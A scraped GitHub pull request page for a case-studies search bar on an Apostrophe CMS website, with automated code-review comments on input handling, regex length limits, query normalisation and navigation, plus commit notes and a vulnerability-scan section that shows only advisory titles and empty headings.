of inlining the $or block. Ensure both callers still short-circuit when there is
no pattern.

In `@website/modules/case-studies-page/services/SearchService.js`:
- Around line 32-38: In buildSearchRegexPattern, prevent unbounded regex sizes
by enforcing a max searchTerm length (e.g., MAX_SEARCH_TERM_LENGTH = 200) before
escaping and joining; trim and then truncate searchTerm to that max length
(preserving Unicode characters), return null if empty after trim, then continue
using REGEX_ESCAPE on the truncated term and split/join as before so the
resulting pattern sent to MongoDB is size-limited; update any relevant callers
if they expect full-term behavior.

In `@website/modules/case-studies-page/views/index.html`:
- Around line 31-40: The native clear button on the <input
id="case-studies-search"> (type="search") causes UX bugs; change its type
attribute to "text" so the browser does not render the native × and rely on your
existing custom clear behavior, i.e. update the input element with id
"case-studies-search" from type="search" to type="text" in the view;
alternatively, if you prefer keeping type="search", add a "search" event
listener in search-handler.js that calls performSearch(searchInput.value) so
clearing via the native button triggers the same search flow.

In `@website/public/js/modules/case-studies-page/search-handler.js`:
- Around line 57-69: The call to searchInput.focus() inside handleClearClick is
ineffective because performSearch('') triggers a page reload (via
performSearch), so remove the misleading focus() call; update handleClearClick
to clear the input, call updateClearButtonVisibility(searchInput, clearButton),
then invoke performSearch('') without attempting to focus, referencing the
function handleClearClick and performSearch and keeping
updateClearButtonVisibility as-is.
- Around line 51-54: The handler currently does a live DOM query on every
keystroke; instead capture the clear button once in initSearchHandler and use a
closure so the input event handler uses that cached reference: move or redefine
handleSearchInput inside initSearchHandler so it uses the existing clearButton
variable (instead of calling document.querySelector('.cs_search-bar-clear')),
call updateClearButtonVisibility(event.target, clearButton) from that closure,
and update the event listener wiring to use the new closure; remove the
redundant document.querySelector call from the outer handleSearchInput (or
delete the outer function) to avoid repeated DOM queries.
- Around line 33-37: The code in performSearch (using buildSearchUrl) currently
calls history.pushState(...) then window.location.reload(), which creates a
duplicate history entry; remove the pushState+reload pattern and perform a
single navigation to the built URL instead (e.g., replace the two calls with
window.location.assign(newUrl) or window.location.href = newUrl) so only one
history entry is created and the page navigates to the search results once.

ℹ️ Review info

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 999eb54 and 8e0a7c5.

⛔ Files ignored due to path filters (1)

website/public/images/search.svg is excluded by !**/*.svg

📒 Files selected for processing (6)

website/modules/asset/ui/src/scss/_cases.scss
website/modules/case-studies-page/index.js
website/modules/case-studies-page/services/NavigationService.js
website/modules/case-studies-page/services/SearchService.js
website/modules/case-studies-page/views/index.html
website/public/js/modules/case-studies-page/search-handler.js

website/modules/asset/ui/src/scss/_cases.scss

website/modules/case-studies-page/index.js

website/modules/case-studies-page/services/NavigationService.js

website/modules/case-studies-page/services/SearchService.js

website/modules/case-studies-page/views/index.html

website/public/js/modules/case-studies-page/search-handler.js

- Drive clear button visibility by class only; remove dead CSS/placeholder rule - Use type=text to avoid native search clear conflicting with custom clear - performSearch: use location.assign only (no pushState+reload phantom history) - handleSearchInput: close over clearButton; remove no-op focus() before navigate - SearchService: buildSearchCondition, 200-char cap, Prettier format - Chain parent beforeIndex/beforeShow so req.data is set before getFilters - Do not reassign query from filterByIndexPage (it returns undefined; fixes query.req)

website/public/js/modules/case-studies-page/search-handler.js

coderabbitai

Actionable comments posted: 3

🤖 Prompt for all review comments with AI agents

Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@website/modules/case-studies-page/views/index.html`:
- Around line 51-70: The loops generating hidden inputs assume each query param
(data.query.industry, data.query.stack, data.query.caseStudyType,
data.query.partner) is an array; normalize each to an array before iterating so
single-string query values are handled correctly (e.g., coerce to [value] when
not already an array) and then iterate to render the <input type="hidden"
name="...[]" value="..."/> elements for each item.
- Around line 386-389: The IIFE sets window.totalPages from
el.getAttribute('data-total-pages') but doesn't handle parseInt returning NaN;
update the logic in the IIFE that reads the element with id
'case-studies-page-data' (variable el) so you parse the attribute into a local
variable (e.g., parsed), validate it with Number.isInteger(parsed) and a >0
check (or !Number.isNaN) and only then assign to window.totalPages; otherwise
fallback to 1. Ensure the assignment uses this validated parsed value so
window.totalPages never becomes NaN.

In `@website/public/js/modules/case-studies-page/search-handler.js`:
- Around line 54-65: In handleClearClick, avoid triggering a navigation/search
when the input is already empty: get the element by id 'case-studies-search',
and if its value (use .trim()) is already empty, just update the clear button
visibility via updateClearButtonVisibility(searchInput, clearButton) and return
early; only set searchInput.value = '' and call performSearch('') when the input
contains non-empty text. This change touches handleClearClick and uses
updateClearButtonVisibility and performSearch to locate the logic to modify.

ℹ️ Review info

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 8e0a7c5 and 7bf3fc7.

📒 Files selected for processing (6)

website/modules/asset/ui/src/scss/_cases.scss
website/modules/case-studies-page/index.js
website/modules/case-studies-page/services/NavigationService.js
website/modules/case-studies-page/services/SearchService.js
website/modules/case-studies-page/views/index.html
website/public/js/modules/case-studies-page/search-handler.js

website/modules/case-studies-page/views/index.html

website/public/js/modules/case-studies-page/search-handler.js

- Ensure filter params are always arrays for safe template iteration - Guard window.totalPages against NaN - Skip navigation when clearing already-empty search input

coderabbitai

Actionable comments posted: 3

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (1)

website/modules/case-studies-page/services/UrlService.js (1)
113-117: 🛠️ Refactor suggestion | 🟠 Major

buildCaseStudyUrl closure captures raw req.query while req.data.query is normalized.

attachIndexData stores the normalized object in req.data.query (line 113) but the buildCaseStudyUrl closure at line 117 still closes over raw req.query. buildCaseStudyUrl internally calls ensureArray so the output is correct today, but the inconsistency makes the contract fragile — any future caller relying on both surfaces may get different filter representations. attachShowData uses queryParams (normalized) consistently; attachIndexData should match.
♻️ Proposed fix
-    reqCopy.data.query = UrlService.normalizeFilterParams(req.query || {});
+    const queryParams = UrlService.normalizeFilterParams(req.query || {});
+    reqCopy.data.query = queryParams;
     // Set default visible tags count
     reqCopy.data.defaultVisibleTagsCount = 5;
     reqCopy.data.buildCaseStudyUrl = (caseStudyUrl) =>
-      UrlService.buildCaseStudyUrl(caseStudyUrl, req.query);
+      UrlService.buildCaseStudyUrl(caseStudyUrl, queryParams);
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@website/modules/case-studies-page/services/UrlService.js` around lines 113 -
117, The buildCaseStudyUrl closure currently closes over the raw req.query
causing inconsistency with the normalized params stored on reqCopy.data.query;
update the closure to pass the normalized query (reqCopy.data.query) into
UrlService.buildCaseStudyUrl so it consistently uses
UrlService.normalizeFilterParams output (ensure you reference the existing
symbols: reqCopy.data.query and UrlService.buildCaseStudyUrl) and remove the
dependency on the raw req.query to avoid future contract fragility.

🤖 Prompt for all review comments with AI agents

Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@website/modules/case-studies-page/views/index.html`:
- Line 39: Update the aria-label on the search input (the attribute aria-label
in the HTML view) so it accurately reflects the actual search scope; change it
from "Search case studies by title" to something like "Search case studies by
title or description" to match the frontend focus placeholder ('Try a title or
description' in the JS handler) and the server-side regex that queries both
title and description fields.
- Around line 388-389: The current assignment allows zero or negative values to
become window.totalPages; update the logic that computes parsed (from
el.getAttribute('data-total-pages')) to validate it is a positive integer (e.g.,
parsed > 0) before using it, and fallback to 1 if parsed is NaN, <= 0, or not
finite; modify the block around the variables parsed and window.totalPages so
window.totalPages is always a positive integer (use parsed only when
Number.isFinite(parsed) && parsed > 0, otherwise set 1).

In `@website/public/js/modules/case-studies-page/search-handler.js`:
- Around line 84-88: The blur handler currently checks event.target.value raw,
so whitespace-only strings are treated as non-empty; update handleSearchBlur to
mirror buildSearchUrl by trimming the input first (use
event.target.value.trim()) and only set the placeholder to 'Search case studies'
when the trimmed value is empty; ensure you reference the same input element
(event.target) and avoid changing other behavior.

---

Outside diff comments:
In `@website/modules/case-studies-page/services/UrlService.js`:
- Around line 113-117: The buildCaseStudyUrl closure currently closes over the
raw req.query causing inconsistency with the normalized params stored on
reqCopy.data.query; update the closure to pass the normalized query
(reqCopy.data.query) into UrlService.buildCaseStudyUrl so it consistently uses
UrlService.normalizeFilterParams output (ensure you reference the existing
symbols: reqCopy.data.query and UrlService.buildCaseStudyUrl) and remove the
dependency on the raw req.query to avoid future contract fragility.

ℹ️ Review info

Configuration used: Organization UI

Review profile: ASSERTIVE

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 7bf3fc7 and 746ccde.

📒 Files selected for processing (3)

website/modules/case-studies-page/services/UrlService.js
website/modules/case-studies-page/views/index.html
website/public/js/modules/case-studies-page/search-handler.js

website/modules/case-studies-page/views/index.html

website/public/js/modules/case-studies-page/search-handler.js

IhorMasechko requested review from killev and vasilyyaremchuk as code owners February 25, 2026 17:31

IhorMasechko self-assigned this Feb 25, 2026

coderabbitai bot reviewed Feb 25, 2026

View reviewed changes

IhorMasechko commented Feb 25, 2026

View reviewed changes

website/public/js/modules/case-studies-page/search-handler.js Show resolved Hide resolved

coderabbitai bot reviewed Feb 25, 2026

View reviewed changes

website/modules/case-studies-page/views/index.html Show resolved Hide resolved

website/modules/case-studies-page/views/index.html Show resolved Hide resolved

website/public/js/modules/case-studies-page/search-handler.js Show resolved Hide resolved

fix: normalize filter params and improve input validation

746ccde

- Ensure filter params are always arrays for safe template iteration - Guard window.totalPages against NaN - Skip navigation when clearing already-empty search input

coderabbitai bot reviewed Feb 25, 2026

View reviewed changes

website/modules/case-studies-page/views/index.html Show resolved Hide resolved

website/modules/case-studies-page/views/index.html Show resolved Hide resolved

website/public/js/modules/case-studies-page/search-handler.js Show resolved Hide resolved

vasilyyaremchuk approved these changes Feb 26, 2026

View reviewed changes

IhorMasechko merged commit 0c01bc3 into main Feb 26, 2026
15 of 17 checks passed

IhorMasechko deleted the feature/case-studies-search-bar branch February 26, 2026 10:37

Conversation

IhorMasechko commented Feb 25, 2026 • edited by coderabbitai bot Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

coderabbitai bot commented Feb 25, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Walkthrough

Possibly related PRs

❌ Failed checks (1 warning)

Uh oh!

github-actions bot commented Feb 25, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

🔍 Vulnerabilities of apostrophe-cms:test

Entity encoding bypass via regex injection in DOCTYPE entity names

Summary

Details

Shadowing all 5 built-in entities

PoC

Impact

Suggested fix

Severity

Summary

Details

PoC

Impact

Workaround

Summary

Details

PoC

Setup

Run

Result

Alternative Payloads

Impact

Entity encoding bypass via regex injection in DOCTYPE entity names

Summary

Details

Shadowing all 5 built-in entities

PoC

Impact

Suggested fix

Severity

Summary

Details

PoC

Impact

Workaround

Summary

Details

PoC

Impact

Summary

Details

PoC

Steps to reproduce

Expected behavior

Actual behavior

Impact

Related CVEs

Denial of Service via proto Key in mergeConfig

Summary

Details

PoC

Impact

Summary

Details

PoC

Suggestions

Summary

Details

Impact

Summary

Details

Impact

Summary

Details

PoC

Impact

Summary

Details

IhorMasechko commented Feb 25, 2026 •

edited by coderabbitai bot

Loading

coderabbitai bot commented Feb 25, 2026 •

edited

Loading

github-actions bot commented Feb 25, 2026 •

edited

Loading

🔍 Vulnerabilities of `apostrophe-cms:test`